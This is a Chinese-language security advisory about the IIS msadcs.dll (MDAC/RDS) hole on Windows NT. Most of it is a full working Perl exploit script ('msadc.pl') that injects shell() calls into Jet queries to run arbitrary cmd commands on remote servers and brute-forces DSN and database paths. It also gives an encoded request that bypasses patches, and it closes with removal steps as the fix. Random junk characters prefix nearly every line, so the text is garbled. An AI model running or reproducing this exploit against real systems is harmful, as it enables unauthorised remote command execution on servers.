IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
kiin7 8W \F f]}4 涉及程序：
b 5|l8<\ Microsoft NT server
7|J&fc5BP w3f D6$ 描述：
geM`O|Np 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#N=_- E/% F0\B 详细：
u91 如果你没有时间读详细内容的话，就删除:
+t lbO? c:\Program Files\Common Files\System\Msadc\msadcs.dll
*D7oHwDU 有关的安全问题就没有了。
(d
<pxx }Zwn G=7T? 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
OWN|W, 1mEW]z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
?K. !^G 关于利用ODBC远程漏洞的描述，请参看:
aO<H!hK #TP Y % http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm dt>!=<| k 9FT= => 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
!wrAD"l*@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~3Z(0 gujD ~vR< UQz 这里不再论述。
sg]g;U 3b ugVJ9 3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
A_6Dol=J@ 0wETv /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
B7'2@+( 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
zWd z9; =_ Hp
fTuydU *41WZ E #将下面这段保存为txt文件，然后: "perl -x 文件名"
\g@jc OKU dp1t] #!perl
Rk{2ZUeg #
C2%Yr y # MSADC/RDS 'usage' (aka exploit) script
%__.-;) o #
l %xeM !} # by rain.forest.puppy
{O[ !*+O #
dn X^ ? # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
gE!`9 #.. # beta test and find errors!
SR \$ fmo "w{,ndZ use Socket; use Getopt::Std;
>LB x\/ getopts("e:vd:h:XR", \%args);
R2[
} " 6 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
1]jUiX=T y\[GS2nTX if (!defined $args{h} && !defined $args{R}) {
TGPHjSZ1 print qq~
7m 9T' Usage: msadc.pl -h <host> { -d <delay> -X -v }
nHF -h <host> = host you want to scan (ip or domain)
T b]' b -d <seconds> = delay between calls, default 1 second
;
>>/}Jw\ -X = dump Index Server path table, if available
C)s*1@af -v = verbose
!yTjO -e = external dictionary file for step 5
f m,:8% mc5$-}1V, Or a -R will resume a command session
CW#$ % \"@ `Rf
~; exit;}
x1*@PiO,. d`Em) 3v $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
?"q S%EH if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
D D
Crvl if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
r;aP`MVO< if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
'Xzi$}E D $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
FUTDR -q O if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
[ w1" /T2f~1R if (!defined $args{R}){ $ret = &has_msadc;
bYH! P/ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-[`FNTTV C ^l/$ 13= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
6<A3H$3b . "cmd /c ";
V 5ihplAk $in=<STDIN>; chomp $in;
N[,/ VCW $command="cmd /c " . $in ;
U_,K_6vj [?`c> if (defined $args{R}) {&load; exit;}
9Fh(tzz 8 M'6Kcr print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;w}5:3+ &try_btcustmr;
P%Ux-0& Swz1RT print "\nStep 2: Trying to make our own DSN...";
J#W>%2 "s &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}t #Hq &^YY>]1Py print "\nStep 3: Trying known DSNs...";
&_E*]Sj\ &known_dsn;
dfq5P !' *ha 9Vq@X print "\nStep 4: Trying known .mdbs...";
rzqUI*4% &known_mdb;
M Pd#C*c 9? W38EF if (defined $args{e}){
r4qFEFV3% print "\nStep 5: Trying dictionary of DSN names...";
;3_Q7;y &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
tgYIM`f ~dw l7Qc print "Sorry Charley...maybe next time?\n";
=kLg)a | exit;
X|wXTecg*| Cst> 'g-yB ##############################################################################
Z@8amT;Y zj;y`E Nj sub sendraw { # ripped and modded from whisker
(Qq$ql 27 sleep($delay); # it's a DoS on the server! At least on mine...
`"CF/X^ my ($pstr)=@_;
[P{Xg:0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6C/ D&+4 die("Socket problems\n");
e"|9%AW@< if(connect(S,pack "SnA4x8",2,80,$target)){
WiviH#hF select(S); $|=1;
aV(*BE/@F print $pstr; my @in=<S>;
%3VwCuE select(STDOUT); close(S);
Gf'V68 ,l$ return @in;
m x,X!} } else { die("Can't connect...\n"); }}
"=f*Lk@[ n5]<|>U vx ##############################################################################
.+B)@? R4JO)<'K& sub make_header { # make the HTTP request
D0k7)\puQ my $msadc=<<EOT
,?#-1uIGL> POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
c/2OR#$t User-Agent: ACTIVEDATA
cc m <rZ7 Host: $ip
p-; ]O~^ Content-Length: $clen
Y!*,G]7 Connection: Keep-Alive
sq)Nn&5A ?I/,r2ODLh ADCClientVersion:01.06
^L C5 orO Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
U0N[~yW(t1 Da@ tpKU)p --!ADM!ROX!YOUR!WORLD!
T8hQ< \g Content-Type: application/x-varg
3iEcLhe"4 Content-Length: $reqlen
Mc6Cte]3| %""CacX EOT
*BO4 "3Z ; $msadc=~s/\n/\r\n/g;
m#;:% .Rm return $msadc;}
{G{@bUG]p iGU N$ ##############################################################################
}5] s+m w\2 [ dd sub make_req { # make the RDS request
[ X~X?By> my ($switch, $p1, $p2)=@_;
q3P3euK3 my $req=""; my $t1, $t2, $query, $dsn;
4r zioIk O@=mN*<gg0 if ($switch==1){ # this is the btcustmr.mdb query
"4?hK $query="Select * from Customers where City=" . make_shell();
iN {TTy $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
7:p]~eM) $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
/Bwea];^Q ]Ns&`Yn{ elsif ($switch==2){ # this is general make table query
*HXq`B $query="create table AZZ (B int, C varchar(10))";
|(H|2]b4 = $dsn="$p1";}
D&^ :hs@ Em]T. 'y elsif ($switch==3){ # this is general exploit table query
Sd\@Q%
}o\ $query="select * from AZZ where C=" . make_shell();
Q.]
)yqX6 $dsn="$p1";}
<V8i>LBlz )Ud S (Bj elsif ($switch==4){ # attempt to hork file info from index server
f: Ja $query="select path from scope()";
t/D
Q<B_ $dsn="Provider=MSIDXS;";}
]`kvq0Gyb j bGH3 L elsif ($switch==5){ # bad query
AP7W) S $query="select";
E0h p% : $dsn="$p1";}
W|Tew-H{h_ C/vLEpP{(/ $t1= make_unicode($query);
$ P@cS1sB $t2= make_unicode($dsn);
9}mp,egV $req = "\x02\x00\x03\x00";
:58'U| $req.= "\x08\x00" . pack ("S1", length($t1));
S p )} $req.= "\x00\x00" . $t1 ;
U; xWW9 $req.= "\x08\x00" . pack ("S1", length($t2));
yk)j;i4@ $req.= "\x00\x00" . $t2 ;
;E"mB4/) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
3,5wWT]
) return $req;}
c>!J@[, M^f1D&A ##############################################################################
e C{Z DmrfD28j~F sub make_shell { # this makes the shell() statement
cs M|VNE> return "'|shell(\"$command\")|'";}
#G=QL(f>/ R qz ()M ##############################################################################
*4:/<wI! 4w6K|v <X sub make_unicode { # quick little function to convert to unicode
~
7Nyi dV; my ($in)=@_; my $out;
PPO<{ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
sZB6zTX
J return $out;}
S : uEK yy1r,dw ##############################################################################
Kx+Bc&X `VE&Obp[ sub rdo_success { # checks for RDO return success (this is kludge)
\KXEw2S my (@in) = @_; my $base=content_start(@in);
I yN9
+ if($in[$base]=~/multipart\/mixed/){
O*{H;7 Pv return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(NC >[ return 0;}
=M#?* e <xjv7`G7 ##############################################################################
1@S6[&_ ?|J+dW sub make_dsn { # this makes a DSN for us
j/pQ SlV my @drives=("c","d","e","f");
%d J>8.jW@ print "\nMaking DSN: ";
r (T/^< foreach $drive (@drives) {
Q3q.*(# print "$drive: ";
mZVOf~9E my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'm5(MC, "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
}C"*ACjF . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
C'2 =0oou $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
y]_8.
0zM return 0 if $2 eq "404"; # not found/doesn't exist
o'C.,ic?C if($2 eq "200") {
J8BT% foreach $line (@results) {
cgXF|'yI&l return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
b ]&zDo|8 } return 0;}
?67I|@^ ^ [[ b$ h$ ##############################################################################
Q9xx/tUW @dCPa7:>& sub verify_exists {
M6*{#Y? my ($page)=@_;
@H%=%ZwpO my @results=sendraw("GET $page HTTP/1.0\n\n");
a`~ eC)T return $results[0];}
3e6Y [ky6E*dV` ##############################################################################
?b7g9 G4 q+n1~ AT sub try_btcustmr {
LZC?383' my @drives=("c","d","e","f");
6Hbf9,vI my @dirs=("winnt","winnt35","winnt351","win","windows");
@IY?DO J-\?,4m cP foreach $dir (@dirs) {
7$'mC 9 print "$dir -> "; # fun status so you can see progress
$dp#nyP foreach $drive (@drives) {
;;'a--' " print "$drive: "; # ditto
5J+V:Xu{ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.e2A*9, $reqlenlen=length( "$reqlen" );
)| x%o(n $clen= 206 + $reqlenlen + $reqlen;
7 Jx-W| )uid!d my @results=sendraw(make_header() . make_req(1,$drive,$dir));
c\ MsVH2 | if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
OW^2S_H5 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
gGX0+L@E {rvbo1t ##############################################################################
ZutB_uW Lcs{OW, sub odbc_error {
2>}\XKF). my (@in)=@_; my $base;
^~6] 0$yJ my $base = content_start(@in);
#jLaIXms if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
[ +l $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
OOBcJC $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>GznG[Ku $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
XJ h:U0 return $in[$base+4].$in[$base+5].$in[$base+6];}
_rMT{q3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
t+ S~u^ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
W>0"CUp $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
;sChxQ=.^ B8UZ9I$n ##############################################################################
`B'4"=( $,;S\JmWP sub verbose {
r6n 5 Jz my ($in)=@_;
!F B \h<6 return if !$verbose;
9PKo N d^e print STDOUT "\n$in\n";}
v : "m d=?Mj] ##############################################################################
J`r,_)J"2 kPO6gdwq$ sub save {
w*:GM8=6 my ($p1, $p2, $p3, $p4)=@_;
`8Jq~u6_Z open(OUT, ">rds.save") || print "Problem saving parameters...\n";
t$K@%yU2 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
2gwZb/'i close OUT;}
E q=wdI m4" N+_j ##############################################################################
MyH[v E^b ' ;b3Mm
# sub load {
(LRM~ 5KVg my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^XBzZ!h| open(IN,"<rds.save") || die("Couldn't open rds.save\n");
m
Ztv G, @p=<IN>; close(IN);
;}/U+ `=D? $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
M@~~ f
$target= inet_aton($ip) || die("inet_aton problems");
'%SR . JL print "Resuming to $ip ...";
)u8*zwq $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
2e9jo,i if($p[1]==1) {
=`Po<7D $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
@~k5+Z $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
]cm6 |`pz my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
1~2R^#rm if (rdo_success(@results)){print "Success!\n";}
MzQ\rg_B7 else { print "failed\n"; verbose(odbc_error(@results));}}
c~}={4M] elsif ($p[1]==3){
J 7BFk
?= if(run_query("$p[3]")){
%MJL5 print "Success!\n";} else { print "failed\n"; }}
w 66 v\x~ elsif ($p[1]==4){
#:J: YMv if(run_query($drvst . "$p[3]")){
/! GKh5| print "Success!\n"; } else { print "failed\n"; }}
{O^TurbTFA exit;}
%K[daXw6E8 w6T[h Z 9 ##############################################################################
., 3Zj / 'K@-Z] sub create_table {
-2F@~m| my ($in)=@_;
"S5S|dB c $reqlen=length( make_req(2,$in,"") ) - 28;
g(/{.%\k $reqlenlen=length( "$reqlen" );
H js } $clen= 206 + $reqlenlen + $reqlen;
;%' b;+ my @results=sendraw(make_header() . make_req(2,$in,""));
AZwl fdLB return 1 if rdo_success(@results);
@}<" N my $temp= odbc_error(@results); verbose($temp);
Q%ruQ# return 1 if $temp=~/Table 'AZZ' already exists/;
vUNisVA return 0;}
55.;+B5L * } h[>U ##############################################################################
CI`N8
f=v d%0+i/p sub known_dsn {
<i{K7}': # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
.xO
_E1Ku; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!;%y$$gxh "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/XcDYMKgh "banner", "banners", "ads", "ADCDemo", "ADCTest");
dY} p N" |6E
.M1 foreach $dSn (@dsns) {
%*lp< D print ".";
Q1Ux!$_ next if (!is_access("DSN=$dSn"));
E&*:
jDg if(create_table("DSN=$dSn")){
'b^l'KN:S print "$dSn successful\n";
Z@3l%p6V if(run_query("DSN=$dSn")){
'>@4(=I print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
LP:nba : print "Something's borked. Use verbose next time\n";}}} print "\n";}
$5,~JYc b !t Ee\K\e ##############################################################################
9)+@0fG) -G9|n#zCU sub is_access {
]q{
PDZ
my ($in)=@_;
6v to++ $reqlen=length( make_req(5,$in,"") ) - 28;
y&"!m } $reqlenlen=length( "$reqlen" );
17}$=#SX $clen= 206 + $reqlenlen + $reqlen;
B2 c@kru my @results=sendraw(make_header() . make_req(5,$in,""));
e,HMw D my $temp= odbc_error(@results);
wW:7y>z) verbose($temp); return 1 if ($temp=~/Microsoft Access/);
+$47v$p return 0;}
{`% hgR 5IW8=$k~.) ##############################################################################
*8 bK')W hq#kvvi{f sub run_query {
L=O lyHO my ($in)=@_;
<l$P&jSF3 $reqlen=length( make_req(3,$in,"") ) - 28;
Vtb1[cnna $reqlenlen=length( "$reqlen" );
n` (~O O $clen= 206 + $reqlenlen + $reqlen;
-4w%Iy my @results=sendraw(make_header() . make_req(3,$in,""));
rK1-Mu return 1 if rdo_success(@results);
Z!6UW:&~7 my $temp= odbc_error(@results); verbose($temp);
kneuV8+(5 return 0;}
o#>a 5 4KXc~eF[M" ##############################################################################
DG(%-w8p" [4*1}}gW%5 sub known_mdb {
i|]7(z#OyI my @drives=("c","d","e","f","g");
_qn?2u3mnR my @dirs=("winnt","winnt35","winnt351","win","windows");
dAc ?O-~ my $dir, $drive, $mdb;
3e% nA8? my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
FJeiY#us gAt~?HvW6 # this is sparse, because I don't know of many
h}Rx_d my @sysmdbs=( "\\catroot\\icatalog.mdb",
i?>tgmu. "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
~.^AL}zm_ "\\system32\\certmdb.mdb",
?cKZ_c "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
xzsd G?P .oqIZ\iik my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
^s&W>hTX: "\\cfusion\\cfapps\\forums\\forums_.mdb",
u%3i0BajY "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
5\bJR0I@ "\\cfusion\\cfapps\\security\\realm_.mdb",
^C/ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
]kD"&& HV "\\cfusion\\database\\cfexamples.mdb",
jV O{$j "\\cfusion\\database\\cfsnippets.mdb",
dRW$T5dac "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
&<3&'*ueW "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
qnChM ; ) "\\cfusion\\brighttiger\\database\\cleam.mdb",
`zA#z /> "\\cfusion\\database\\smpolicy.mdb",
VT\ "q1)p "\\cfusion\\database\cypress.mdb",
X|} 2_B "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
j.m(ltGh "\\website\\cgi-win\\dbsample.mdb",
!E2W\chi "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
` qUX. "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
o.m:3!RW ); #these are just
B(_WZa! foreach $drive (@drives) {
8| @9{ foreach $dir (@dirs){
e( ?]SU| foreach $mdb (@sysmdbs) {
=2Cj ,[$ print ".";
:>+\17tx if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
29&bbfU print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
OGOND,/R?/ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
[1_A8s){u print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Vi *e@IP/ } else { print "Something's borked. Use verbose next time\n"; }}}}}
8R/dA<Ww 3BG>Y(v foreach $drive (@drives) {
E{?au]y$J foreach $mdb (@mdbs) {
t$J.+} }I print ".";
!4(zp;WY^ if(create_table($drv . $drive . $dir . $mdb)){
o]ePP, print "\n" . $drive . $dir . $mdb . " successful\n";
]fBUT6 if(run_query($drv . $drive . $dir . $mdb)){
:Y P # print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
d\]Yk ]r } else { print "Something's borked. Use verbose next time\n"; }}}}
;Hmp f0$ }
L\%orLEmK t)f-mQz) ##############################################################################
?'s6Xmd )G~w[~ sub hork_idx {
"4o=,$E= print "\nAttempting to dump Index Server tables...\n";
]e' fa/I print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
l +*&:Q/ $reqlen=length( make_req(4,"","") ) - 28;
U75Jp%bL $reqlenlen=length( "$reqlen" );
_oG&OJ@ $clen= 206 + $reqlenlen + $reqlen;
:Dt~e| my @results=sendraw2(make_header() . make_req(4,"",""));
zFz10pH if (rdo_success(@results)){
;G\8jP '
my $max=@results; my $c; my %d;
#bX9Tu0 for($c=19; $c<$max; $c++){
-fS.9+k0/ $results[$c]=~s/\x00//g;
lf(`SYQnOY $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
vi.w8 >CE $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
t.p~\6Yi $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
!|ak^GE:(% $d{"$1$2"}="";}
]hos+;4p foreach $c (keys %d){ print "$c\n"; }
ZJPmR/OV_ } else {print "Index server doesn't seem to be installed.\n"; }}
HpZ1xT N@ \&1I`c$ ##############################################################################
EU7|,>a V!v:]E sub dsn_dict {
'2^7-3_1 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
>P6BW while(<IN>){
7%f&M>/ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Rk!X]-`= next if (!is_access("DSN=$dSn"));
WOzf]3Xcj if(create_table("DSN=$dSn")){
JjaoOe print "$dSn successful\n";
%yB B?cp+_ if(run_query("DSN=$dSn")){
,# M Cn print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1W7% 1 FA print "Something's borked. Use verbose next time\n";}}}
ljTBvU print "\n"; close(IN);}
'R-3fO??? @,Gxk
##############################################################################
hj'(*ND7z CI353-` sub sendraw2 { # ripped and modded from whisker
MZ+^-@ X sleep($delay); # it's a DoS on the server! At least on mine...
ZKHG !`X0 my ($pstr)=@_;
pRkP~ZISU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
c\a_VRN>r die("Socket problems\n");
'5&s=M_ if(connect(S,pack "SnA4x8",2,80,$target)){
.<@8 gNm3 print "Connected. Getting data";
9mA{K open(OUT,">raw.out"); my @in;
.X# `k select(S); $|=1; print $pstr;
vz.>~HB P while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Po%LE]v, close(OUT); select(STDOUT); close(S); return @in;
UMAgA!s } else { die("Can't connect...\n"); }}
-f*P
nxg sMu]
/'7 ##############################################################################
]a5 f2l E '%q$` KDb sub content_start { # this will take in the server headers
;>n,: 355L my (@in)=@_; my $c;
AGLscf. for ($c=1;$c<500;$c++) {
[w%
qV 6 if($in[$c] =~/^\x0d\x0a/){
M#(+c _(r if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
;4Y%PV z~D else { return $c+1; }}}
"g$IP9?U return -1;} # it should never get here actually
/p8dZ+X O,Cb"{qH8 ##############################################################################
9eH$XYy u ~A6bK* sub funky {
,l<6GB2\ my (@in)=@_; my $error=odbc_error(@in);
'Lu__NfN if($error=~/ADO could not find the specified provider/){
'7XIhN9 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
j~!X;PV3 exit;}
xlQBe-Wg if($error=~/A Handler is required/){
hCC<?5q print "\nServer has custom handler filters (they most likely are patched)\n";
On?p 9^9 exit;}
8- 2cRs if($error=~/specified Handler has denied Access/){
=Xo
=Qcr print "\nServer has custom handler filters (they most likely are patched)\n";
:Nz9xD$S5 exit;}}
J+`VujWT q
FAT]{{ ##############################################################################
N; \' N
ne Av fNwE sub has_msadc {
y&V@^ "` my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
EOCN&_Z; my $base=content_start(@results);
6oGYnu;UZ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Uu `9 "
return 0;}
Mnscb zG(\+4GE! ########################
2nR[Xh?L k |eBJ% 2AMo:Jqv 解决方案：
u: =7l 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
q^Y-}=w 2、移除web 目录: /msadc
